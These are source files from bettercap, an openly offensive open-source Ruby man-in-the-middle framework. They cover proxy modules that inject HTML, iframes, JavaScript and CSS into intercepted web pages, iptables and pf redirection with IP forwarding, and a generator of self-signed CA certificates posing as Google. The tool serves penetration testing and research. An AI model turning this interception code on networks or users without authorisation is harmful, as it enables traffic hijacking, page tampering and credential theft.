-------------------------------------------------------------------------------- /lib/bettercap.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | =begin 4 | 5 | BETTERCAP 6 | 7 | Author : Simone 'evilsocket' Margaritelli 8 | Email : evilsocket@gmail.com 9 | Blog : http://www.evilsocket.net/ 10 | 11 | This project is released under the GPL 3 license. 12 | 13 | =end 14 | 15 | # they hate us 'cause they ain't us 16 | Encoding.default_external = Encoding::UTF_8 17 | Encoding.default_internal = Encoding::UTF_8 18 | 19 | require 'optparse' 20 | require 'colorize' 21 | require 'packetfu' 22 | require 'ipaddr' 23 | 24 | Object.send :remove_const, :Config rescue nil 25 | Config = RbConfig 26 | 27 | require 'bettercap/update_checker' 28 | require 'bettercap/error' 29 | require 'bettercap/loader' 30 | require 'bettercap/options' 31 | require 'bettercap/network/arp_reader' 32 | require 'bettercap/network/packet_queue' 33 | require 'bettercap/discovery/thread' 34 | require 'bettercap/discovery/agents/base' 35 | require 'bettercap/discovery/agents/arp' 36 | require 'bettercap/discovery/agents/icmp' 37 | require 'bettercap/discovery/agents/udp' 38 | require 'bettercap/context' 39 | require 'bettercap/monkey/packetfu/utils' 40 | require 'bettercap/factories/firewall' 41 | require 'bettercap/factories/spoofer' 42 | require 'bettercap/factories/parser' 43 | require 'bettercap/logger' 44 | require 'bettercap/shell' 45 | require 'bettercap/network/network' 46 | require 'bettercap/version' 47 | require 'bettercap/network/target' 48 | require 'bettercap/sniffer/sniffer' 49 | require 'bettercap/firewalls/redirection' 50 | require 'bettercap/proxy/stream_logger' 51 | require 'bettercap/proxy/request' 52 | require 'bettercap/proxy/response' 53 | require 'bettercap/proxy/thread_pool' 54 | require 'bettercap/proxy/proxy' 55 | require 'bettercap/proxy/streamer' 56 | require 'bettercap/proxy/module' 57 | require 'bettercap/proxy/certstore' 58 | require 'bettercap/httpd/server' 59 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/modules/injecthtml.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # This proxy module will take care of HTML code injection. 14 | class InjectHTML < BetterCap::Proxy::Module 15 | # URL of the iframe if --html-iframe-url was specified. 16 | @@iframe = nil 17 | # HTML data to be injected. 18 | @@data = nil 19 | 20 | # Add custom command line arguments to the +opts+ OptionParser instance. 21 | def self.on_options(opts) 22 | opts.separator "" 23 | opts.separator "Inject HTML Proxy Module Options:" 24 | opts.separator "" 25 | 26 | opts.on( '--html-data STRING', 'HTML code to be injected.' ) do |v| 27 | @@data = v 28 | end 29 | 30 | opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v| 31 | @@iframe = v 32 | end 33 | end 34 | 35 | # Create an instance of this module and raise a BetterCap::Error if command 36 | # line arguments weren't correctly specified. 37 | def initialize 38 | raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil? 39 | end 40 | 41 | # Called by the BetterCap::Proxy::Proxy processor on each HTTP +request+ and 42 | # +response+. 43 | def on_request( request, response ) 44 | # is it a html page? 45 | if response.content_type =~ /^text\/html.*/ 46 | BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}" 47 | 48 | if @@data.nil? 49 | response.body.sub!( '', "" ) 50 | else 51 | response.body.sub!( '', "#{@@data}" ) 52 | end 53 | end 54 | end 55 | end 56 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/stream_logger.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/logger' 13 | 14 | module BetterCap 15 | # Raw or http streams pretty logging. 16 | class StreamLogger 17 | @@MAX_REQ_SIZE = 50 18 | 19 | @@CODE_COLORS = { 20 | '2' => :green, 21 | '3' => :light_black, 22 | '4' => :yellow, 23 | '5' => :red 24 | } 25 | 26 | # Search for the +addr+ IP address inside the list of collected targets and return 27 | # its compact string representation ( @see BetterCap::Target#to_s_compact ). 28 | def self.addr2s( addr ) 29 | ctx = Context.get 30 | 31 | return 'local' if addr == ctx.ifconfig[:ip_saddr] 32 | 33 | target = ctx.find_target addr, nil 34 | return target.to_s_compact unless target.nil? 35 | 36 | addr 37 | end 38 | 39 | # Log a raw packet ( +pkt+ ) data +payload+ using the specified +label+. 40 | def self.log_raw( pkt, label, payload ) 41 | nl = if label.include?"\n" then "\n" else " " end 42 | label = label.strip 43 | Logger.raw( "[#{self.addr2s(pkt.ip_saddr)} > #{self.addr2s(pkt.ip_daddr)}:#{pkt.tcp_dst}] " \ 44 | "[#{label.green}]#{nl}#{payload.strip.yellow}" ) 45 | end 46 | 47 | # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+ 48 | # with the +request+ and +response+ most important informations. 49 | def self.log_http( is_https, client, request, response ) 50 | request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}" 51 | response_s = "( #{response.content_type} )" 52 | request_s = request_s.slice(0..@@MAX_REQ_SIZE) + '...' unless request_s.length <= @@MAX_REQ_SIZE 53 | code = response.code[0] 54 | 55 | if @@CODE_COLORS.has_key? code 56 | response_s += " [#{response.code}]".send( @@CODE_COLORS[ code ] ) 57 | else 58 | response_s += " [#{response.code}]" 59 | end 60 | 61 | Logger.raw "[#{self.addr2s(client)}] #{request.verb.light_blue} #{request_s} #{response_s}" 62 | end 63 | end 64 | end 65 | -------------------------------------------------------------------------------- /lib/bettercap/firewalls/base.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | module Firewalls 14 | # Base class for BetterCap::Firewalls objects. 15 | class Base 16 | # Initialize the firewall object. 17 | # Raise NotImplementedError 18 | def initialize 19 | @frwd_initial_state = forwarding_enabled? 20 | end 21 | 22 | # If +enabled+ is true will enable packet forwarding, otherwise it will 23 | # disable it. 24 | # Raise NotImplementedError 25 | def enable_forwarding(enabled) 26 | not_implemented_method! 27 | end 28 | 29 | # If +enabled+ is true will enable icmp_echo_ignore_broadcasts, otherwise it will 30 | # disable it. 31 | # Raise NotImplementedError 32 | def enable_icmp_bcast(enabled) 33 | not_implemented_method! 34 | end 35 | 36 | # If +enabled+ is true will enable send_redirects, otherwise it will 37 | # disable it. 38 | # Raise NotImplementedError 39 | def enable_send_redirects(enabled) 40 | not_implemented_method! 41 | end 42 | 43 | # Return true if packet forwarding is currently enabled, otherwise false. 44 | # Raise NotImplementedError 45 | def forwarding_enabled? 46 | not_implemented_method! 47 | end 48 | 49 | # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object. 50 | # Raise NotImplementedError 51 | def add_port_redirection( r ) 52 | not_implemented_method! 53 | end 54 | 55 | # Remove the +r+ BetterCap::Firewalls::Redirection port redirection object. 56 | # Raise NotImplementedError 57 | def del_port_redirection( r ) 58 | not_implemented_method! 59 | end 60 | 61 | # Restore the system's original packet forwarding state. 62 | # Raise NotImplementedError 63 | def restore 64 | if forwarding_enabled? != @frwd_initial_state 65 | enable_forwarding @frwd_initial_state 66 | end 67 | end 68 | 69 | private 70 | 71 | # Method used to raise NotImplementedError exception. 72 | def not_implemented_method! 73 | raise NotImplementedError, 'Firewalls::Base: Unimplemented method!' 74 | end 75 | end 76 | end 77 | end 78 | -------------------------------------------------------------------------------- /lib/bettercap/firewalls/linux.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/firewalls/base' 13 | require 'bettercap/shell' 14 | 15 | module BetterCap 16 | module Firewalls 17 | # Linux firewall class. 18 | class Linux < Base 19 | # If +enabled+ is true will enable packet forwarding, otherwise it will 20 | # disable it. 21 | def enable_forwarding(enabled) 22 | Shell.execute("echo #{enabled ? 1 : 0} > /proc/sys/net/ipv4/ip_forward") 23 | end 24 | 25 | # Return true if packet forwarding is currently enabled, otherwise false. 26 | def forwarding_enabled? 27 | Shell.execute('cat /proc/sys/net/ipv4/ip_forward').strip == '1' 28 | end 29 | 30 | # If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will 31 | # disable it. 32 | def enable_icmp_bcast(enabled) 33 | Shell.execute("echo #{enabled ? 0 : 1} > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts") 34 | end 35 | 36 | # If +enabled+ is true will enable send_redirects, otherwise it will 37 | # disable it. 38 | def enable_send_redirects(enabled) 39 | Shell.execute("echo #{enabled ? 0 : 1} > /proc/sys/net/ipv4/conf/all/send_redirects") 40 | end 41 | 42 | # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object. 43 | def add_port_redirection( r ) 44 | # post route 45 | Shell.execute('iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE') 46 | # accept all 47 | Shell.execute('iptables -P FORWARD ACCEPT') 48 | # add redirection 49 | Shell.execute("iptables -t nat -A PREROUTING -i #{r.interface} -p #{r.protocol} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}") 50 | end 51 | 52 | # Remove the +r+ BetterCap::Firewalls::Redirection port redirection object. 53 | def del_port_redirection( r ) 54 | # remove post route 55 | Shell.execute('iptables -t nat -D POSTROUTING -s 0/0 -j MASQUERADE') 56 | # remove redirection 57 | Shell.execute("iptables -t nat -D PREROUTING -i #{r.interface} -p #{r.protocol} --dport #{r.src_port} -j DNAT --to #{r.dst_address}:#{r.dst_port}") 58 | end 59 | end 60 | end 61 | end 62 | -------------------------------------------------------------------------------- /lib/bettercap/factories/parser.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | require 'bettercap/error' 14 | require 'bettercap/logger' 15 | 16 | module BetterCap 17 | module Factories 18 | # Factory class responsible for listing, parsing and creating BetterCap::Parsers 19 | # object instances. 20 | class Parser 21 | @@path = File.dirname(__FILE__) + '/../sniffer/parsers/' 22 | 23 | class << self 24 | # Return a list of available parsers. 25 | def available 26 | avail = [] 27 | Dir.foreach( @@path ) do |file| 28 | if file =~ /.rb/ and file != 'base.rb' and file != 'custom.rb' 29 | avail << file.gsub('.rb','').upcase 30 | end 31 | end 32 | avail 33 | end 34 | 35 | # Parse the +v+ command line argument and return a list of parser names. 36 | # Will raise BetterCap::Error if one or more parser names are not valid. 37 | def from_cmdline(v) 38 | raise BetterCap::Error, "No parser names provided" if v.nil? 39 | 40 | avail = available 41 | list = v.split(',').collect(&:strip).collect(&:upcase).reject{ |c| c.empty? } 42 | list.each do |parser| 43 | raise BetterCap::Error, "Invalid parser name '#{parser}'." unless avail.include?(parser) or parser == '*' 44 | end 45 | list 46 | end 47 | 48 | # Return a list of BetterCap::Parsers instances by their +parsers+ names. 49 | def load_by_names(parsers) 50 | loaded = [] 51 | Dir.foreach( @@path ) do |file| 52 | cname = file.gsub('.rb','').upcase 53 | if file =~ /.rb/ and file != 'base.rb' and file != 'custom.rb' and ( parsers.include?(cname) or parsers == ['*'] ) 54 | Logger.debug "Loading parser #{cname} ..." 55 | 56 | require_relative "#{@@path}#{file}" 57 | 58 | loaded << BetterCap::Loader.load("BetterCap::Parsers::#{cname.capitalize}").new 59 | end 60 | end 61 | loaded 62 | end 63 | 64 | # Load and return an instance of the BetterCap::Parsers::Custom parser 65 | # given the +expression+ Regex object. 66 | def load_custom(expression) 67 | require_relative "#{@@path}custom.rb" 68 | [ BetterCap::Parsers::Custom.new(expression) ] 69 | end 70 | end 71 | end 72 | end 73 | end 74 | -------------------------------------------------------------------------------- /lib/bettercap/firewalls/osx.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/firewalls/base' 13 | require 'bettercap/shell' 14 | 15 | module BetterCap 16 | module Firewalls 17 | # OSX Firewall class. 18 | class OSX < Base 19 | # If +enabled+ is true will enable packet forwarding, otherwise it will 20 | # disable it. 21 | def enable_forwarding(enabled) 22 | Shell.execute("sysctl -w net.inet.ip.forwarding=#{enabled ? 1 : 0}") 23 | end 24 | 25 | # If +enabled+ is true will enable packet icmp_echo_ignore_broadcasts, otherwise it will 26 | # disable it. 27 | def enable_icmp_bcast(enabled) 28 | Shell.execute("sysctl -w net.inet.icmp.bmcastecho=#{enabled ? 1 : 0}") 29 | end 30 | 31 | # Return true if packet forwarding is currently enabled, otherwise false. 32 | def forwarding_enabled? 33 | Shell.execute('sysctl net.inet.ip.forwarding').strip.split(' ')[1] == '1' 34 | end 35 | 36 | # This method is ignored on OSX. 37 | def enable_send_redirects(enabled); end 38 | 39 | # If +enabled+ is true, the PF firewall will be enabled, otherwise it will 40 | # be disabled. 41 | def enable(enabled) 42 | begin 43 | Shell.execute("pfctl -#{enabled ? 'e' : 'd'} >/dev/null 2>&1") 44 | rescue; end 45 | end 46 | 47 | # Apply the +r+ BetterCap::Firewalls::Redirection port redirection object. 48 | def add_port_redirection( r ) 49 | # create the pf config file 50 | config_file = "/tmp/bettercap_pf_#{Process.pid}.conf" 51 | 52 | File.open( config_file, 'a+t' ) do |f| 53 | f.write "rdr pass on #{r.interface} proto #{r.protocol} from any to any port #{r.src_port} -> #{r.dst_address} port #{r.dst_port}\n" 54 | end 55 | 56 | # load the rule 57 | Shell.execute("pfctl -f #{config_file} >/dev/null 2>&1") 58 | # enable pf 59 | enable true 60 | end 61 | 62 | # Remove the +r+ BetterCap::Firewalls::Redirection port redirection object. 63 | def del_port_redirection( r ) 64 | # FIXME: This should search for multiple rules inside the 65 | # file and remove only this one. 66 | 67 | # disable pf 68 | enable false 69 | 70 | begin 71 | # remove the pf config file 72 | File.delete( "/tmp/bettercap_pf_#{Process.pid}.conf" ) 73 | rescue 74 | end 75 | 76 | end 77 | end 78 | end 79 | end 80 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/modules/injectcss.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # This proxy module will take care of CSS code injection. 14 | class InjectCSS < BetterCap::Proxy::Module 15 | # CSS data to be injected. 16 | @@cssdata = nil 17 | # CSS file URL to be injected. 18 | @@cssurl = nil 19 | 20 | # Add custom command line arguments to the +opts+ OptionParser instance. 21 | def self.on_options(opts) 22 | opts.separator "" 23 | opts.separator "Inject CSS Proxy Module Options:" 24 | opts.separator "" 25 | 26 | opts.on( '--css-data STRING', 'CSS code to be injected.' ) do |v| 27 | @@cssdata = v 28 | unless @@cssdata.include?("" 30 | end 31 | end 32 | 33 | opts.on( '--css-file PATH', 'Path of the CSS file to be injected.' ) do |v| 34 | filename = File.expand_path v 35 | raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename) 36 | @@cssdata = File.read( filename ) 37 | unless @@cssdata.include?("" 39 | end 40 | end 41 | 42 | opts.on( '--css-url URL', 'URL the CSS file to be injected.' ) do |v| 43 | @@cssurl = v 44 | end 45 | end 46 | 47 | # Create an instance of this module and raise a BetterCap::Error if command 48 | # line arguments weren't correctly specified. 49 | def initialize 50 | raise BetterCap::Error, "No --css-file, --css-url or --css-data options specified for the proxy module." if @@cssdata.nil? and @@cssurl.nil? 51 | end 52 | 53 | # Called by the BetterCap::Proxy::Proxy processor on each HTTP +request+ and 54 | # +response+. 55 | def on_request( request, response ) 56 | # is it a html page? 57 | if response.content_type =~ /^text\/html.*/ 58 | BetterCap::Logger.info "Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}" 59 | # inject URL 60 | if @@cssdata.nil? 61 | response.body.sub!( '', " " ) 62 | # inject data 63 | else 64 | response.body.sub!( '', "#{@@cssdata}" ) 65 | end 66 | end 67 | end 68 | end 69 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How To Contribute 2 | 3 | As any other open source projects, there're many ways you can contribute to bettercap depending on your skills as a developer or will to help as a user, but first 4 | of all let me thank you for your help! <3 5 | 6 | ### Submitting Issues 7 | 8 | If you find bugs or inconsistencies while using bettercap, you can create an **Issue** using the [GitHub Issue tracker](https://github.com/evilsocket/bettercap/issues), but before doing that please make sure that: 9 | 10 | * You are using a relatively new Ruby version ( >= 1.9 ) : `ruby -v`. 11 | * Your GEM environment is configured properly and updated : `sudo gem update`. 12 | * You are using the latest version of bettercap : `bettercap --check-updates`. 13 | * The bug you're reporting is actually related to bettercap and not to one of the other GEMs. 14 | 15 | Once you've gone through this list, open an issue and please give us as much as informations as possible in order for us to fix the bug as soon as possible: 16 | 17 | * Your OS version. 18 | * Ruby version you're using. 19 | * Full output of the error ( exception backtrace, error message, etc ). 20 | * Your network configuration: `ifconfig -a` 21 | 22 | Also, you should attach to the issue a debug log that you can generate with: 23 | 24 | [sudo|rvmsudo] bettercap [arguments you are using for testing] --debug --log=debug.log 25 | 26 | Wait for the error to happen then close bettercap and paste the **debug.log** file inside the issue. 27 | 28 | ### Pull Requests 29 | 30 | If you know how to code in Ruby and have ideas to improve bettercap, you're very welcome to send us pull requests, we'll be happy to merge them whenever they comply to the following rules: 31 | 32 | * You have at least manually tested your code, ideally you've created actual tests for it. 33 | * Respect our coding standard, 2 spaces indentation and modular code. 34 | * There're no conflicts with the current dev branch. 35 | * Your commit messages are enough explanatory to us. 36 | 37 | There're plenty of things you can to do improve the software: 38 | 39 | * Implement a new proxy module and push it to the [dedicated repository](https://github.com/evilsocket/bettercap-proxy-modules). 40 | * Implement a new [Spoofer module](https://github.com/evilsocket/bettercap/blob/master/lib/bettercap/spoofers/arp.rb). 41 | * Implement a new [Sniffer credentials parser](https://github.com/evilsocket/bettercap/blob/master/lib/bettercap/sniffer/parsers/post.rb). 42 | * Fix, extend or improve the core. 43 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/modules/injectjs.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | # This proxy module will take care of Javascript code injection. 14 | class InjectJS < BetterCap::Proxy::Module 15 | # JS data to be injected. 16 | @@jsdata = nil 17 | # JS file URL to be injected. 18 | @@jsurl = nil 19 | 20 | # Add custom command line arguments to the +opts+ OptionParser instance. 21 | def self.on_options(opts) 22 | opts.separator "" 23 | opts.separator "Inject JS Proxy Module Options:" 24 | opts.separator "" 25 | 26 | opts.on( '--js-data STRING', 'Javascript code to be injected.' ) do |v| 27 | @@jsdata = v 28 | unless @@jsdata.include?("\n#{@@jsdata}\n" 30 | end 31 | end 32 | 33 | opts.on( '--js-file PATH', 'Path of the javascript file to be injected.' ) do |v| 34 | filename = File.expand_path v 35 | raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename) 36 | @@jsdata = File.read( filename ) 37 | unless @@jsdata.include?("\n#{@@jsdata}\n" 39 | end 40 | end 41 | 42 | opts.on( '--js-url URL', 'URL the javascript file to be injected.' ) do |v| 43 | @@jsurl = v 44 | end 45 | end 46 | 47 | # Create an instance of this module and raise a BetterCap::Error if command 48 | # line arguments weren't correctly specified. 49 | def initialize 50 | raise BetterCap::Error, "No --js-file, --js-url or --js-data options specified for the proxy module." if @@jsdata.nil? and @@jsurl.nil? 51 | end 52 | 53 | # Called by the BetterCap::Proxy::Proxy processor on each HTTP +request+ and 54 | # +response+. 55 | def on_request( request, response ) 56 | # is it a html page? 57 | if response.content_type =~ /^text\/html.*/ 58 | BetterCap::Logger.info "Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}" 59 | # inject URL 60 | if @@jsdata.nil? 61 | response.body.sub!( '', "" ) 62 | # inject data 63 | else 64 | response.body.sub!( '', "#{@@jsdata}" ) 65 | end 66 | end 67 | end 68 | end 69 | -------------------------------------------------------------------------------- /lib/bettercap/network/arp_reader.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | BETTERCAP 3 | Author : Simone 'evilsocket' Margaritelli 4 | Email : evilsocket@gmail.com 5 | Blog : http://www.evilsocket.net/ 6 | This project is released under the GPL 3 license. 7 | =end 8 | require 'bettercap/error' 9 | 10 | module BetterCap 11 | module Network 12 | # This class is responsible for reading the computer ARP table. 13 | class ArpReader 14 | # Parse the current ARP cache and return a list of BetterCap::Target 15 | # objects which are found inside it, using the +ctx+ BetterCap::Context 16 | # instance. 17 | def self.parse( ctx ) 18 | targets = [] 19 | self.parse_cache do |ip,mac| 20 | if ip != ctx.gateway and ip != ctx.ifconfig[:ip_saddr] 21 | if ctx.options.ignore_ip?(ip) 22 | Logger.debug "Ignoring #{ip} ..." 23 | else 24 | # reuse Target object if it's already a known address 25 | known = ctx.find_target ip, mac 26 | if known.nil? 27 | targets << Target.new( ip, mac ) 28 | else 29 | targets << known 30 | end 31 | end 32 | end 33 | end 34 | targets 35 | end 36 | 37 | # Parse the ARP cache searching for the given IP +address+ and return its 38 | # MAC if found, otherwise nil. 39 | def self.find_address( address ) 40 | self.parse_cache do |ip,mac| 41 | if ip == address 42 | return mac 43 | end 44 | end 45 | nil 46 | end 47 | 48 | # Parse the ARP cache searching for the given MAC +address+ and return its 49 | # IP if found, otherwise nil. 50 | def self.find_mac( address ) 51 | self.parse_cache do |ip,mac| 52 | if mac == address 53 | return ip 54 | end 55 | end 56 | nil 57 | end 58 | 59 | private 60 | 61 | # Read the computer ARP cache and parse each line, it will yield each 62 | # ip and mac address it will be able to extract. 63 | def self.parse_cache 64 | iface = Context.get.ifconfig[:iface] 65 | Shell.arp.split("\n").each do |line| 66 | m = self.parse_cache_line(iface,line) 67 | unless m.nil? 68 | ip = m[1] 69 | hw = Target.normalized_mac( m[2] ) 70 | if hw != 'FF:FF:FF:FF:FF:FF' 71 | yield( ip, hw ) 72 | end 73 | end 74 | end 75 | end 76 | 77 | # Parse a single ARP cache +line+ related to the +iface+ network interface. 78 | def self.parse_cache_line( iface, line ) 79 | /[^\s]+\s+\(([0-9\.]+)\)\s+at\s+([a-f0-9:]+).+#{iface}.*/i.match(line) 80 | end 81 | end 82 | end 83 | end 84 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/certstore.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/logger' 13 | require 'openssl' 14 | 15 | module BetterCap 16 | module Proxy 17 | # Class responsible of handling digital certificate loading or on the fly 18 | # creation. 19 | class CertStore 20 | @@selfsigned = {} 21 | @@frompems = {} 22 | 23 | # Load a certificate from the +filename+ file and return an 24 | # OpenSSL::X509::Certificate instance for it. 25 | def self.from_file( filename ) 26 | unless @@frompems.has_key? filename 27 | Logger.info "Loading self signed HTTPS certificate from '#{filename}' ..." 28 | 29 | pem = File.read filename 30 | 31 | @@frompems[filename] = { :cert => OpenSSL::X509::Certificate.new(pem), :key => OpenSSL::PKey::RSA.new(pem) } 32 | end 33 | 34 | @@frompems[filename] 35 | end 36 | 37 | # Create a self signed digital certificate using the specified +subject+ string. 38 | # Will return a OpenSSL::X509::Certificate instance. 39 | def self.get_selfsigned( subject = '/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com' ) 40 | unless @@selfsigned.has_key? subject 41 | Logger.info "Generating self signed HTTPS certificate for subject '#{subject}' ..." 42 | 43 | key = OpenSSL::PKey::RSA.new(2048) 44 | public_key = key.public_key 45 | 46 | cert = OpenSSL::X509::Certificate.new 47 | cert.subject = cert.issuer = OpenSSL::X509::Name.parse(subject) 48 | cert.not_before = Time.now 49 | cert.not_after = Time.now + 365 * 24 * 60 * 60 50 | cert.public_key = public_key 51 | cert.serial = 0x0 52 | cert.version = 2 53 | 54 | ef = OpenSSL::X509::ExtensionFactory.new 55 | ef.subject_certificate = cert 56 | ef.issuer_certificate = cert 57 | cert.extensions = [ 58 | ef.create_extension("basicConstraints","CA:TRUE", true), 59 | ef.create_extension("subjectKeyIdentifier", "hash"), 60 | ef.create_extension("keyUsage", "cRLSign,keyCertSign", true), 61 | ] 62 | cert.add_extension ef.create_extension("authorityKeyIdentifier", 63 | "keyid:always,issuer:always") 64 | 65 | cert.sign key, OpenSSL::Digest::SHA256.new 66 | 67 | @@selfsigned[subject] = { :cert => cert, :key => key } 68 | end 69 | 70 | @@selfsigned[subject] 71 | end 72 | end 73 | end 74 | end 75 | -------------------------------------------------------------------------------- /lib/bettercap/proxy/module.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | require 'bettercap/logger' 13 | 14 | module BetterCap 15 | module Proxy 16 | # Base class for transparent proxy modules. 17 | class Module 18 | @@path = File.dirname(__FILE__) + '/modules/' 19 | @@modules = [] 20 | 21 | # Return a list of available builtin proxy module names. 22 | def self.available 23 | avail = [] 24 | Dir.foreach( @@path ) do |file| 25 | if file =~ /.rb/ 26 | avail << file.gsub('.rb','') 27 | end 28 | end 29 | avail 30 | end 31 | 32 | # Check if the module with +name+ is within the builtin ones. 33 | def self.is_builtin?(name) 34 | self.available.include?(name) 35 | end 36 | 37 | # Load the module with +name+. 38 | def self.load(ctx, opts, name) 39 | ctx.options.proxy = true 40 | 41 | if self.is_builtin?(name) 42 | ctx.options.proxy_module = "#{@@path}/#{name}.rb" 43 | else 44 | ctx.options.proxy_module = File.expand_path(name) 45 | end 46 | 47 | begin 48 | require ctx.options.proxy_module 49 | 50 | self.register_options(opts) 51 | rescue LoadError 52 | raise BetterCap::Error, "Invalid proxy module name '#{name}' ." 53 | end 54 | end 55 | 56 | # Return a list of registered modules. 57 | def self.modules 58 | @@modules 59 | end 60 | 61 | # Return true if the module is enabled, otherwise false. 62 | def enabled? 63 | true 64 | end 65 | 66 | # Register custom options for each available module. 67 | def self.register_options(opts) 68 | self.each_module do |const| 69 | if const.respond_to?(:on_options) 70 | const.on_options(opts) 71 | end 72 | end 73 | end 74 | 75 | # Register available proxy modules into the system. 76 | def self.register_modules 77 | self.each_module do |const| 78 | Logger.debug "Registering module #{const}" 79 | @@modules << const.new 80 | end 81 | end 82 | 83 | private 84 | 85 | # Loop each available BetterCap::Proxy::Proxy module and yield each 86 | # one of them for the given code block. 87 | def self.each_module 88 | old_verbose, $VERBOSE = $VERBOSE, nil 89 | Object.constants.each do |klass| 90 | const = Kernel.const_get(klass.to_s) 91 | if const.respond_to?(:superclass) and const.superclass == self 92 | yield const 93 | end 94 | end 95 | ensure 96 | $VERBOSE = old_verbose 97 | end 98 | end 99 | end 100 | end 101 | -------------------------------------------------------------------------------- /lib/bettercap/logger.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | module BetterCap 13 | # Class responsible for console and file logging. 14 | module Logger 15 | class << self 16 | @@ctx = nil 17 | @@queue = Queue.new 18 | @@debug = false 19 | @@silent = false 20 | @@logfile = nil 21 | @@thread = nil 22 | 23 | # Initialize the logging system. 24 | # If +debug+ is true, debug logging will be enabled. 25 | # If +logfile+ is not nil, every message will be saved to that file. 26 | # If +silent+ is true, all messages will be suppressed if they're not errors 27 | # or warnings. 28 | def init( debug, logfile, silent ) 29 | @@debug = debug 30 | @@logfile = logfile 31 | @@thread = Thread.new { worker } 32 | @@silent = silent 33 | @@ctx = Context.get 34 | end 35 | 36 | # Log an error +message+. 37 | def error(message) 38 | @@queue.push formatted_message(message, 'E').red 39 | end 40 | 41 | # Log an information +message+. 42 | def info(message) 43 | @@queue.push( formatted_message(message, 'I') ) unless @@silent 44 | end 45 | 46 | # Log a warning +message+. 47 | def warn(message) 48 | @@queue.push formatted_message(message, 'W').yellow 49 | end 50 | 51 | # Log a debug +message+. 52 | def debug(message) 53 | if @@debug and not @@silent 54 | @@queue.push formatted_message(message, 'D').light_black 55 | end 56 | end 57 | 58 | # Log a +message+ as it is. 59 | def raw(message) 60 | @@queue.push( message ) 61 | end 62 | 63 | # Wait for the messages queue to be empty. 64 | def wait! 65 | while not @@queue.empty? 66 | if @@thread.nil? 67 | emit @@queue.pop 68 | else 69 | sleep 0.3 70 | end 71 | end 72 | end 73 